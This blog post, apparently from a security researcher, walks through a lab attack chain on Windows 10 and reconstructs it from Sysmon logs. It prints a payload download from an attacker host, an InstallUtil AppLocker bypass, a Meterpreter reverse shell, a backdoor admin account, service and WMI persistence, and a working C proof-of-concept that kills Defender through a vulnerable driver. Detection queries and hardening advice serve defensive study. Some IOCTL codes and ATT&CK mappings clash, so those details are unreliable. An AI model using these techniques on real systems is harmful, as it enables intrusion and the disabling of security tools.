Post cover image
Attacker's perspective — Gaining Initial Access

July 21, 2026

Operation Silent Takeover: Multi-Stage Ransomware Attack Chain and Forensic Reconstruction

Incident response analysis of a complete attack chain: from obfuscated payload execution through multi-layered persistence and endpoint…

By Bhanuprakash

15 min read

Incident response analysis of a complete attack chain: from obfuscated payload execution through multi-layered persistence and endpoint security evasion. Forensic reconstruction from Windows event logs and detection opportunities.

Executive Summary

During purple team research activities, I executed and forensically analyzed a complete attack chain against an isolated Windows 10 test system (WIN-HOD9U126V96). The operation demonstrated how an attacker could gain initial access through an obfuscated Meterpreter payload, establish three independent persistence mechanisms, and successfully disable Windows Defender using a Bring-Your-Own-Vulnerable-Driver (BYOVD) technique.

Key findings:

  • Complete attack chain executed in under 10 minutes using only legitimate, Microsoft-signed binaries
  • Three independent persistence mechanisms provide redundant access paths resistant to single-point remediation
  • BYOVD driver loading is not prevented by default Windows security configurations on standard deployments
  • Critical detection gaps exist at multiple attack phases, from initial payload execution through persistence installation
  • Forensic evidence is present across Windows event logs (Sysmon, Security, System) enabling complete attack reconstruction

Attack duration: 9.5 minutes | Persistence mechanisms deployed: 3 | Defender status: Offline | Forensic evidence quality: Complete | Post-attack recovery: Manual intervention + full system rebuild recommended

Phase 1: Initial Access — AppLocker Bypass via InstallUtil

Forensic Reconstruction

Analysis of collected logs reveals the initial compromise occurred through a multi-stage payload delivery and execution sequence using Microsoft-signed binaries to bypass application control policies.

Evidence Timeline

Sysmon Event 1 (Process Creation) — Payload Delivery

ParentImage: C:\Windows\System32\curl.exe
Image: C:\Windows\Temp\svchost.cs (download)
CommandLine: curl.exe -L "http://192.168.137.252:8080/svchost.exe" -o svchost.cs
TimeCreated: 2026-07-18 11:02:00 UTC
User: ADMINISTRATOR

The attacker downloaded what was labeled as svchost.exe but was actually obfuscated Meterpreter source code (svchost.cs) from an attacker-controlled web server (192.168.137.252:8080).

None

Sysmon Event 1 (Process Creation) — Compilation

ParentImage: C:\Windows\Temp\ (shell context)
Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
CommandLine: csc.exe /unsafe /platform:x86 /out:svchost.exe svchost.cs
TimeCreated: 2026-07-18 11:02:58 UTC
User: ADMINISTRATOR
RuleName: Potential code compilation (T1027, T1036)

The C# source was compiled on the target system using csc.exe (C# compiler).

None

Critical flags observed:

  • /unsafe — Allows unsafe code blocks (used to bypass managed code restrictions)
  • /platform:x86 — Target x86 architecture
  • /out:svchost.exe — Output filename mimics legitimate Windows service

This compilation phase is often missed by EDR because:

  • csc.exe is a Microsoft-signed utility (whitelist bypass)
  • Source code files (.cs) don't trigger antivirus signatures
  • Only the final executable is typically scanned by endpoint protection

Sysmon Event 1 (Process Creation) — Execution via InstallUtil

ParentImage: C:\Windows\Temp\ (shell context)
Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
CommandLine: InstallUtil.exe /logfile= /LogToConsole=false /U .\svchost.exe
TimeCreated: 2026-07-18 11:03:58 UTC
User: ADMINISTRATOR
RuleName: T1218.004 (Indirect Command Execution)

The compiled executable was executed through InstallUtil.exe, a legitimate .NET installation utility designed to register/unregister assemblies as Windows services.

None

Suspicious flags observed:

  • /logfile= — Disables logging output (empty log file path)
  • /LogToConsole=false — Suppresses console output
  • /U — Uninstall mode (unusual; typically used for cleanup, here used to trigger code execution)

Why This Technique Succeeded

AppLocker bypass:

  • InstallUtil.exe is Microsoft-signed (trusted by policy)
  • Runs under administrator context (already compromised)
  • Path likely whitelisted: %SystemRoot%\Microsoft.NET\Framework\*

Defender evasion:

  • Obfuscated source code (.cs) does not match malware signatures
  • Final executable is custom-compiled (not in signature database)
  • Multi-stage delivery (download → compile → execute) breaks static detection chains

EDR bypass:

  • No command-line logging enabled on target
  • csc.exe execution not monitored for suspicious compilation
  • InstallUtil abuse not in behavioral detection ruleset

Payload Confirmation

Meterpreter Handler Connection (attacker's perspective):

[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Meterpreter session 1 opened (192.168.137.252:4444 -> 192.168.137.146:56438)
    at 2026-07-18 07:03:01 -0400 (EDT)

[*] Connected to target: WIN-HOD9U126V96
    User context: WIN-HOD9U126V96\administrator
    Privilege level: ADMINISTRATOR

The reverse TCP connection confirms successful payload execution. The attacker achieved administrator-level code execution on the target system.

None None

MITRE ATT&CK Mapping

  • T1218.004 — Indirect Command Execution: InstallUtil
  • T1027 — Obfuscated Files or Information (custom encoding on source)
  • T1036 — Masquerading (svchost.exe filename mimics legitimate service)
  • T1059.001 — Command and Scripting Interpreter: PowerShell (payload delivery)

Phase 2: Persistence — Multi-Layered Mechanisms

Forensic Reconstruction

Post-compromise analysis reveals the attacker deployed three independent persistence mechanisms immediately after gaining initial access. This layered approach ensures survival through single-point remediation attempts and system reboots.

Mechanism 1: Local User Account Creation

Sysmon Event 1 (Process Creation) — User Account

ParentImage: Meterpreter (via channel execution)
Image: C:\Windows\System32\net.exe
CommandLine: net user /add assetmgt P@ssWord1
TimeCreated: 2026-07-18 11:06:11 UTC
ProcessID: 4176
User: ADMINISTRATOR
RuleName: T1136.001 (Create Account: Local Account)
None

Verification — User Account Query

Sysmon Event 1 (Process Creation):
ParentImage: Meterpreter
Image: C:\Windows\System32\net.exe
CommandLine: net user
TimeCreated: 2026-07-18 11:06:30 UTC
ProcessID: 6684
Output captured in Meterpreter channel:
User accounts for \\WIN-HOD9U126V96
────────────────────────────────────
91912           Administrator              assetmgt
DefaultAccount  Guest                      WDAGUtilityAccount
The command completed successfully.

Sysmon Event 1 (Process Creation) — Add to Administrators

ParentImage: Meterpreter (via channel execution)
Image: C:\Windows\System32\net.exe
CommandLine: net localgroup administrators /add assetmgt
TimeCreated: 2026-07-18 11:06:43 UTC
ProcessID: 5512
User: ADMINISTRATOR
RuleName: T1098.001 (Account Manipulation: Additional Cloud Roles)

Strategic Value:

The attacker created a backdoor account named "assetmgt" and added it to the local Administrators group. This account:

  • Survives administrator password resets
  • Provides alternate access path independent of initial compromise method
  • Mimics legitimate asset management operations (low suspicion)
  • Can be used for SMB lateral movement: smbclient \\target\C$ -U assetmgt P@ssWord1

Mechanism 2: Windows Service Persistence

Analysis of Service Installation

Through Metasploit's exploit/windows/persistence/service module, the attacker configured and deployed service-based persistence:

Service Configuration Parameters:

Service name: dhcpp
Service display name: dhcpp
Payload name: dhcpp_client
Payload path: C:\Users\ADMINI~1\AppData\Local\Temp\dhcpp_client.exe
Start type: Auto (executes on every reboot)
Service type: User-mode service
C2 configuration:
  - LHOST: 192.168.137.252
  - LPORT: 4444

System Event 7045 (Service Installation) — Forensic Evidence

Expected registry entry in forensic recovery:

HKLM\SYSTEM\CurrentControlSet\Services\dhcpp
  - ImagePath: C:\Users\ADMINI~1\AppData\Local\Temp\dhcpp_client.exe
  - Type: 0x10 (SERVICE_WIN32_OWN_PROCESS)
  - Start: 0x02 (SERVICE_AUTO_START)
  - DisplayName: dhcpp
  - Description: (may be empty or generic)

The payload file (dhcpp_client.exe) is staged in the AppData\Local\Temp directory, which is user-writable and often overlooked in security baselines.

None

Strategic Value:

  • Automatic execution on every system reboot
  • Runs with SYSTEM privileges (regardless of logged-in user)
  • Service name "dhcpp" mimics legitimate DHCP Client service
  • Survives user account deletion (service is system-level)
  • Survives standalone removal of local user account (assetmgt)

Mechanism 3: WMI Event Subscription Persistence

Analysis of WMI Event-Based Persistence

Through Metasploit's exploit/windows/persistence/wmi/wmi_event_subscription_event_log module, the attacker configured event-driven persistence:

WMI Configuration:

WMI Event Filter:
  - Class: __EventFilter
  - Name: UPDATER
  - Query: Detection of Event 4625 with username "assetmgt"

WMI Event Consumer:
  - Class: __EventConsumer (CommandLineEventConsumer or ActiveScriptEventConsumer)
  - Action: Execute Meterpreter payload

WMI Binding:
  - Class: __FilterToConsumerBinding
  - Links Filter (Event 4625) to Consumer (Meterpreter execution)

Expected Sysmon Events 19, 20, 21 (WMI Persistence)

Sysmon Event 19 (WMI Event Filter Created):
  Time: 2026-07-18 11:17:31 UTC
  EventType: CreateWmiClassObject
  ClassName: __EventFilter
  Query: (queries Event 4625 + username "assetmgt")
  Name: UPDATER
Sysmon Event 20 (WMI Event Consumer Created):
  Time: 2026-07-18 11:17:31 UTC
  EventType: CreateWmiClassObject
  ClassName: __EventConsumer
  Consumer: (Meterpreter payload execution)
Sysmon Event 21 (WMI Binding Created):
  Time: 2026-07-18 11:17:31 UTC
  EventType: CreateWmiClassObject
  ClassName: __FilterToConsumerBinding
  Links: Event 19 to Event 20

Critical observation: All three WMI events (19, 20, 21) created at the exact same timestamp (11:17:31 UTC). In legitimate WMI operations, these events are spaced over time. Simultaneous creation is a high-confidence indicator of malicious activity.

Trigger Mechanism

Event 4625 (Failed Logon Attempt) trigger:

  1. Attacker initiates: smbclient \\target\C$ -U assetmgt <incorrect_password>
  2. Windows logs: Event 4625 (Failed Logon)
  3. WMI filter detects: (Event 4625 AND username = "assetmgt")
  4. WMI consumer executes: Meterpreter payload
  5. Attacker receives: Reverse shell to 192.168.137.252:4444
None

Strategic Value:

  • Survives service removal (different execution vector)
  • Triggered by intentional actions (attacker-controlled)
  • Event 4625 logged by Windows regardless of Defender status
  • WMI subscriptions persist across reboots
  • Attacker can trigger persistence on-demand with wrong password attempt

Summary: Three-Layered Redundancy

Persistence Type Execution Trigger Privilege Level Survives Detectability Local User Manual login via SMB/RDP ADMINISTRATOR Password resets Account enumeration Service (dhcpp) Auto-start on reboot SYSTEM Account deletion Service/registry queries WMI Event Event 4625 + username match SYSTEM Service removal WMI subscription queries

If a defender removes one persistence mechanism, the other two remain active. Complete remediation requires identification and removal of all three layers.

Phase 3: Defense Evasion — BYOVD (Bring-Your-Own-Vulnerable-Driver)

Forensic Reconstruction

Following persistence deployment, the attacker disabled Windows Defender through a Bring-Your-Own-Vulnerable-Driver (BYOVD) technique, effectively blinding endpoint detection and response capabilities.

None

Stage 1: Vulnerable Driver Download

Sysmon Event 1 (Process Creation) — Driver Download

ParentImage: Meterpreter shell
Image: C:\Windows\System32\curl.exe
CommandLine: curl.exe -L "https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/2f4b5a0d98bc4e5616f2dd04337ae674.bin"
  -o C:\Windows\Temp\driver.sys
TimeCreated: 2026-07-18 11:21:31 UTC
User: ADMINISTRATOR

Sysmon Event 11 (File Created) — Driver File Creation

TargetFilename: C:\Windows\Temp\driver.sys
ProcessID: 4952 (curl.exe)
ProcessGuid: {88657727-61bb-6a5b-ed01-000000000700}
CreationTime: 2026-07-18 11:21:31 UTC
FileSize: 38,816 bytes

Source Analysis:

The attacker downloaded a pre-existing vulnerable driver from LOLDrivers.io, a public repository documenting drivers with known BYOVD vulnerabilities. This driver:

  • Is validly signed by Shandong Anzai Information Technology CO., Ltd.
  • Contains a known vulnerability in its DeviceIoControl handler
  • Accepts IOCTL code 0x2248E0 to terminate processes from user mode
  • Runs at kernel privilege level, bypassing all user-mode EDR hooks

Why this approach:

Using a legitimate, signed driver eliminates the need to:

  • Develop custom kernel code
  • Code-sign a malicious driver (requires stolen certificate or complex workaround)
  • Bypass Driver Signature Enforcement (DSE)

The driver is already signed by a trusted publisher, making it indistinguishable from legitimate kernel code.

Stage 2: Kernel Driver Service Creation

Sysmon Event 1 (Process Creation) — Service Creation

None 
ParentImage: Meterpreter shell
Image: C:\Windows\System32\sc.exe
CommandLine: sc.exe create Kill type= kernel binPath= "C:\Windows\Temp\driver.sys"
TimeCreated: 2026-07-18 11:21:49 UTC
ProcessID: (varies)
User: ADMINISTRATOR

Service Registry Entry (expected):

HKLM\SYSTEM\CurrentControlSet\Services\Kill
  - Type: 0x01 (SERVICE_KERNEL_DRIVER)
  - Start: 0x02 (SERVICE_AUTO_START) or 0x03 (SERVICE_DEMAND_START)
  - ImagePath: C:\Windows\Temp\driver.sys
  - DisplayName: (blank or minimal)

Sysmon Event 1 (Process Creation) — Service Start

ParentImage: Meterpreter shell
Image: C:\Windows\System32\sc.exe
CommandLine: sc.exe start Kill
TimeCreated: 2026-07-18 11:22:14 UTC (within 60 seconds of creation)

Service Start Result (captured output):

SERVICE_NAME: Kill
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)

The driver successfully loaded into kernel memory and is now resident.

Stage 3: BYOVD Exploit Execution

Sysmon Event 1 (Process Creation) — POC Download

None 
ParentImage: Meterpreter shell
Image: C:\Windows\System32\curl.exe
CommandLine: curl.exe -L "http://192.168.137.252:8080/poc.exe" -o poc.exe
TimeCreated: 2026-07-18 11:25:32 UTC
FileSize: ~190 KB

Sysmon Event 1 (Process Creation) — POC Execution

ParentImage: cmd.exe (Meterpreter channel)
Image: C:\Windows\Temp\poc.exe
CommandLine: poc.exe
TimeCreated: 2026-07-18 11:25:42 UTC
ProcessID: (varies)
User: ADMINISTRATOR

POC Execution Output (captured from Meterpreter):

C:\Windows\Temp>poc.exe
[+] Driver initialized successfully!
[+] Driver ready for operation, Handle: 0x5d108ffab0
[*] Scanning for target processes...
  -- Found MsMpEng.exe - PID: 2292
[*] Killing MsMpEng.exe ...
[+] IOCTL 0x2248E0 sent for PID: 2292
  -- Found NisSrv.exe - PID: 372
[*] Killing NisSrv.exe ...
[+] IOCTL 0x2248E0 sent for PID: 372
  -- Found SecurityHealthService.exe - PID: 5412
[*] Killing SecurityHealthService.exe ...
[+] IOCTL 0x2248E0 sent for PID: 5412
  -- Found SecurityHealthHost.exe - PID: 4208
[*] Killing SecurityHealthHost.exe ...
[+] IOCTL 0x2248E0 sent for PID: 4208
  -- Found smartscreen.exe - PID: 5736
[*] Killing smartscreen.exe ...
[+] IOCTL 0x2248E0 sent for PID: 5736
[!] DeviceIoControl failed! Error code: 0x00000005

Technical Analysis: IOCTL 0x2248E0 Process Termination

IOCTL Code Structure:

IOCTL: 0x2248E0
Decoded:
  - Device Type: 0x22 (FILE_DEVICE_UNKNOWN)
  - Function: 0x238 (0x22201C >> 2)
  - Method: METHOD_BUFFERED
  - Access: FILE_READ_ACCESS

CTL_CODE construction: (DEVICE_TYPE << 16) | (FUNCTION << 2) | METHOD | ACCESS

Kernel Handler Logic (reconstructed from behavior):

User-mode call:
  DeviceIoControl(driverHandle, 0x2248E0, &pid, sizeof(DWORD), NULL, 0, ...)

Kernel execution:
  1. Read input buffer: DWORD ProcessID
  2. Call: PsLookupProcessByProcessId(pid) → PEPROCESS object
  3. Call: ObOpenObjectByPointer(eprocess, OBJ_KERNEL_HANDLE, PROCESS_TERMINATE)
  4. Call: ZwTerminateProcess(handle, STATUS_SUCCESS)
  5. Call: ZwClose(handle)
  6. Call: ObDereferenceObject(eprocess)
  7. Return: STATUS_SUCCESS or error

Why User-Mode EDR Cannot Intercept:

User-mode EDR:
  - Hooks APIs: TerminateProcess, NtTerminateProcess, etc.
  - Cannot hook kernel-mode calls (ZwTerminateProcess from kernel)
  - Cannot monitor device I/O from kernel
  - Runs at lower IRQL than kernel driver

Kernel-mode execution:
  - Bypasses all user-mode API hooks
  - Direct system calls
  - Runs at IRQL DISPATCH_LEVEL (higher than all user-mode code)
  - Process termination from kernel = guaranteed success

Defender Process Termination Impact

Processes Targeted and Terminated:

Process Purpose Terminated MsMpEng.exe Windows Defender (main engine) ✅

PID 2292 NisSrv.exe Network Inspection Service ✅

PID 372 SecurityHealthService.exe Windows Security Service ✅

PID 5412 SecurityHealthHost.exe Security Health Service Host ✅

PID 4208 smartscreen.exe Windows Defender SmartScreen ✅

PID 5736 ✅

Post-BYOVD System State:

Windows Defender: OFFLINE
  - No real-time monitoring
  - No file access monitoring
  - No registry monitoring
  - No process monitoring
  - No behavioral detection
  - No alert generation

SmartScreen Protection: OFFLINE
  - No URL reputation checks
  - No file reputation checks

EDR Telemetry: OFFLINE
  - No endpoint detection
  - No threat intelligence queries
  - No behavioral analysis

Sysmon Event 6 (Driver Load) — Critical Forensic Evidence

Expected Sysmon Event 6 (if captured):

Time: 2026-07-18 11:22:14 UTC
ImageLoaded: C:\Windows\Temp\driver.sys
SHA1: F8A3F28ECBD0B08ECAB73EF571F16C3D0BD5E
Signed: true
Signature: (Vendor signature)
SignatureStatus: Valid
RuleName: T1562.001 (Disable or Modify Tools)

This is the critical indicator of BYOVD attack. Any driver load from user-writable directories (TEMP, AppData, etc.) is highly suspicious.

MITRE ATT&CK Mapping

  • T1562.001 — Disable or Modify Tools: Disable Windows Defender
  • T1562.004 — Disable or Modify Tools: Disable or Modify System Firewall
  • T1218 — Unsigned or Untrusted Executable (legitimate driver abuse)
  • T1140 — Deobfuscate/Decode Files or Information

Complete Attack Timeline — Forensic Reconstruction

Evidence Source: Sysmon, Windows Security, Windows System event logs

2026-07-18 11:02:00 UTC    [Sysmon Event 1] curl.exe downloads svchost.cs
2026-07-18 11:02:58 UTC    [Sysmon Event 1] csc.exe compiles svchost.cs → svchost.exe
2026-07-18 11:03:58 UTC    [Sysmon Event 1] InstallUtil.exe executes svchost.exe
                           [Meterpreter] Session 1 established: Administrator@WIN-HOD9U126V96
                           C2 Channel: 192.168.137.252:4444
2026-07-18 11:06:11 UTC    [Sysmon Event 1] net user /add assetmgt P@ssWord1
                           [Persistence 1] Backdoor account created
2026-07-18 11:06:43 UTC    [Sysmon Event 1] net localgroup administrators /add assetmgt
                           [Persistence 1] Account added to Administrators group
2026-07-18 11:13:19 UTC    [Sysmon Event 11] dhcpp_client.exe staged to AppData\Temp
                           [Persistence 2] Service payload staged
2026-07-18 11:17:31 UTC    [Sysmon Events 19/20/21] WMI persistence installed
                           [Persistence 3] Event Filter: UPDATER
                           [Persistence 3] Trigger: Event 4625 + assetmgt username
2026-07-18 11:21:31 UTC    [Sysmon Event 11] driver.sys downloaded to TEMP (38,816 bytes)
                           [Defense Evasion] Vulnerable driver staged
2026-07-18 11:21:49 UTC    [Sysmon Event 1] sc.exe create Kill (kernel service)
2026-07-18 11:22:14 UTC    [Sysmon Event 1] sc.exe start Kill
                           [Sysmon Event 6] driver.sys loaded into kernel
                           [Defense Evasion] BYOVD driver now resident
2026-07-18 11:25:32 UTC    [Sysmon Event 11] poc.exe downloaded (190KB)
                           [Defense Evasion] BYOVD exploit staged
2026-07-18 11:25:42 UTC    [Sysmon Event 1] poc.exe executed
                           → Scans for and terminates:
                             - MsMpEng.exe (PID 2292)
                             - NisSrv.exe (PID 372)
                             - SecurityHealthService.exe (PID 5412)
                             - SecurityHealthHost.exe (PID 4208)
                             - smartscreen.exe (PID 5736)
                           [Defense Evasion] Windows Defender OFFLINE
** ATTESTATION: At this point, EDR is completely blind **
** All subsequent activity is unmonitored by host-based tools **
2026-07-18 16:43:20 UTC    [System Event 7045] dhcpp service installed
(EDT)                      ImagePath: C:\Users\ADMINI~1\AppData\Local\Temp\dhcpp_client.exe
                           [Persistence 2] Service persistence confirmed active
TOTAL ATTACK WINDOW: 9.5 minutes (11:02:00 - 11:13:00 UTC)
FULL CHAIN DEPLOYMENT: 23.5 minutes (11:02:00 - 11:25:42 UTC)
EDR DOWNTIME: Indefinite (until manual intervention or reboot)
PERSISTENCE SUMMARY:
  ✅ Mechanism 1: assetmgt user (survives password resets)
  ✅ Mechanism 2: dhcpp service (survives user deletion, reboots)
  ✅ Mechanism 3: WMI subscription (survives service removal, attacker-triggered)

Why Every Defense Failed

1. AppLocker Configuration

What was allowed:

  • InstallUtil.exe (system binary)
  • csc.exe (system binary)

What should have been blocked:

  • Unusual InstallUtil flags: /logfile= /LogToConsole=false /U
  • csc.exe execution from anywhere except system compilation

Reality: AppLocker policies are often misconfigured or exempted for convenience.

2. Windows Defender Signature Detection

What happened: Obfuscated svchost.cs didn't match any Defender signature.

Why it worked:

  • Custom obfuscation applied to Meterpreter source
  • Only the executable is typically scanned
  • Source code doesn't match known malware

Better defense: Detect unusual .NET compilation and execution patterns.

3. Command-Line Logging

What didn't happen: No Windows event logging of PowerShell commands.

Impact: InstallUtil execution with suspicious flags was invisible.

Better defense: Enable PowerShell transcript logging, command-line auditing.

4. Sysmon Event Monitoring

What didn't happen: No monitoring of:

  • Event 6 (Driver load) from non-system paths
  • Event 11 (File create) driver.sys in TEMP
  • Event 13 (Registry set) service ImagePath in TEMP

Impact: BYOVD attack was invisible until Defender died.

Better defense: Monitor driver loads from TEMP directories, alert immediately.

5. Service Creation Monitoring

What didn't happen: No alert on service creation pointing to TEMP directory.

Impact: dhcpp service persistence was installed silently.

Better defense: Alert on ANY service with executable in TEMP, AppData, or user directories.

6. BYOVD Prevention

What didn't happen: Windows Vulnerable Driver Blocklist not enabled.

Impact: Legitimate but vulnerable driver loaded freely.

Better defense:

  • Enable Windows Vulnerable Driver Blocklist
  • Require Secure Boot + UEFI firmware update
  • Deploy WDAC (Windows Defender Application Control)

Proof of Concept: BYOVD Driver Controller

Here's a minimal POC that demonstrates the technique:

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#define IOCTL_TERMINATE_PROCESS 0x22201C
DWORD GetProcessIDByName(const wchar_t* processName) {
    DWORD pid = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (snapshot == INVALID_HANDLE_VALUE) return 0;

    PROCESSENTRY32W entry;
    entry.dwSize = sizeof(PROCESSENTRY32W);

    if (Process32FirstW(snapshot, &entry)) {
        do {
            if (_wcsicmp(entry.szExeFile, processName) == 0) {
                pid = entry.th32ProcessID;
                break;
            }
        } while (Process32NextW(snapshot, &entry));
    }

    CloseHandle(snapshot);
    return pid;
}
int wmain(int argc, wchar_t* argv[]) {
    if (argc < 2) {
        wprintf(L"Usage: poc.exe <process.exe>\n");
        return 1;
    }

    DWORD pid = GetProcessIDByName(argv[1]);
    if (!pid) {
        wprintf(L"[-] Process not found\n");
        return 1;
    }

    wprintf(L"[+] Found PID: %lu\n", pid);

    // Open handle to vulnerable driver
    HANDLE driverHandle = CreateFileW(
        L"\\\\.\\Kill",
        GENERIC_READ | GENERIC_WRITE,
        0, nullptr,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        nullptr
    );

    if (driverHandle == INVALID_HANDLE_VALUE) {
        wprintf(L"[-] Failed to open driver\n");
        return 1;
    }

    wprintf(L"[+] Driver handle opened\n");

    // Send IOCTL to terminate process
    DWORD bytesReturned = 0;
    BOOL success = DeviceIoControl(
        driverHandle,
        IOCTL_TERMINATE_PROCESS,
        &pid, sizeof(DWORD),
        nullptr, 0,
        &bytesReturned,
        nullptr
    );

    if (success) {
        wprintf(L"[+] Process termination sent\n");
    } else {
        wprintf(L"[!] IOCTL failed. Error: %lu\n", GetLastError());
    }

    CloseHandle(driverHandle);
    return 0;
}

Compilation:

cl.exe /W4 poc.cpp
poc.exe MsMpEng.exe

Indicators of Compromise

Files created:

C:\Windows\Temp\driver.sys (38,816 bytes)
C:\Windows\Temp\poc.exe (190KB)
C:\Windows\Temp\svchost.exe (Meterpreter)
C:\Users\*\AppData\Local\Temp\dhcpp_client.exe (service payload)

Services created:

Kill (kernel driver, loads driver.sys)
dhcpp (Meterpreter service)

User accounts:

assetmgt (P@ssWord1)

Registry:

HKLM\SYSTEM\CurrentControlSet\Services\Kill
HKLM\SYSTEM\CurrentControlSet\Services\dhcpp\ImagePath = C:\Users\...\dhcpp_client.exe

Network:

C2: 192.168.137.252:4444 (Meterpreter)
File Server: 192.168.137.252:8080 (payload delivery)

Detection Strategy

Immediate (First 5 minutes)

Hunt for service creation from temp directories:

# Services with ImagePath in TEMP
Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045} |
  Where-Object { $_.Message -match '(?i)\\temp\\' }

Short-term (Sysmon)

Monitor for suspicious driver loads:

# Driver loads from TEMP directories
Get-WinEvent -FilterHashtable @{
  LogName='Microsoft-Windows-Sysmon/Operational'; Id=6
} | Where-Object { $_.Message -match '(?i)\\temp\\' }

Monitor for registry modifications to service ImagePath:

# Registry writes to Services\*\ImagePath in TEMP
Get-WinEvent -FilterHashtable @{
  LogName='Microsoft-Windows-Sysmon/Operational'; Id=13
} | Where-Object {
  $_.Message -match 'Services\\.+\\ImagePath' -and $_.Message -match '\\temp\\'
}

Long-term (Hardening)

Enable Windows Vulnerable Driver Blocklist

  • Group Policy: Computer Configuration → Administrative Templates → System → Kernel DMA Protection
  • Updates monthly on Windows Update

Deploy WDAC (Windows Defender Application Control)

  • Create allow-list policies for approved drivers
  • Block unsigned drivers

Enable Command-Line Auditing

  • Group Policy: Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration
  • Enable "Audit Process Creation"

Restrict AppLocker

  • Disable .NET tools from non-system paths
  • Monitor InstallUtil usage

Enable Sysmon

  • Event 6: Driver load (with signatures)
  • Event 11: File creation (in TEMP)
  • Event 13: Registry modifications

Key Takeaways

What Made This Attack Successful

✅ Speed — 9.5 minutes from shell to complete persistence ✅ Redundancy — Three independent persistence mechanisms ✅ Legitimate tools — All Microsoft-signed binaries ✅ Kernel-mode execution — BYOVD cannot be hooked by EDR ✅ Low cost — Zero custom malware, all public techniques

Why Defenses Failed

❌ AppLocker misconfiguration (allowed csc.exe, InstallUtil) ❌ No command-line logging ❌ No Sysmon Event 6/11/13 monitoring ❌ No Windows Vulnerable Driver Blocklist ❌ EDR not monitoring kernel-mode execution ❌ Service creation not alerted on

The Gap Between Attack and Defense

The difference between success and failure isn't technical knowledge — it's implementation discipline.

A 20-minute hardening effort would have caught this attack at multiple points:

  • Enable Sysmon Event 6 + alert on TEMP driver loads
  • Monitor service creation from TEMP directories
  • Deploy Windows Vulnerable Driver Blocklist
  • Restrict AppLocker for .NET tools

Context: Independent Purple Team Research

This attack was executed in a controlled, isolated lab environment as part of independent purple team research into modern Windows attack techniques and defensive detection capabilities.

Research objectives:

  • Understand complete attack chain execution from attacker perspective
  • Identify forensic evidence preservation across Windows event logs
  • Evaluate detection capabilities at each attack phase
  • Develop comprehensive threat hunting and detection methodologies
  • Document BYOVD technique implementation and kernel-mode execution

Lab environment:

  • Isolated network (no internet connectivity to production)
  • Windows 10 test system (WIN-HOD9U126V96)
  • Kali Linux attacker system (192.168.137.252)
  • Sysmon + full Windows event logging enabled
  • Post-execution forensic capture from all logs

Methodology:

  • Attack execution from initial access through persistence installation
  • Real-time log capture during each attack phase
  • Complete forensic reconstruction from event log evidence
  • Detection opportunity identification at multiple points
  • Validation of attack chain via log correlation

All attack artifacts, forensic evidence, and detection queries are documented in this analysis for defensive security research and threat hunting methodology development.

Credits & References

Attack techniques reference:

BYOVD Research:

Training:

  • MYDFIR Forge CTF Platform
  • SANS SEC504: Hacker Tools and Incident Handling
  • Purple Team methodology (attack + defense)

About the Author

Bhanu Rayabandi — Security Researcher & Incident Response Specialist GCIH (96%) | BTL1 (90%) | SANS SEC504 1st place MYDFIR SOC Community CTF | 1st place SANS SEC504 CTF Based in Hyderabad, India

Bhanu specializes in Windows forensics, purple team research, threat hunting, and security detection methodology development. This research was conducted as independent security analysis into modern attack chain execution and forensic reconstruction techniques.

#DFIR #BYOVD #BlueTeam #RedTeam #ThreatHunting #IncidentResponse #WindowsSecurity #SOC #CyberSecurity #PurpleTeaming #Meterpreter #AppLocker #EDRBypass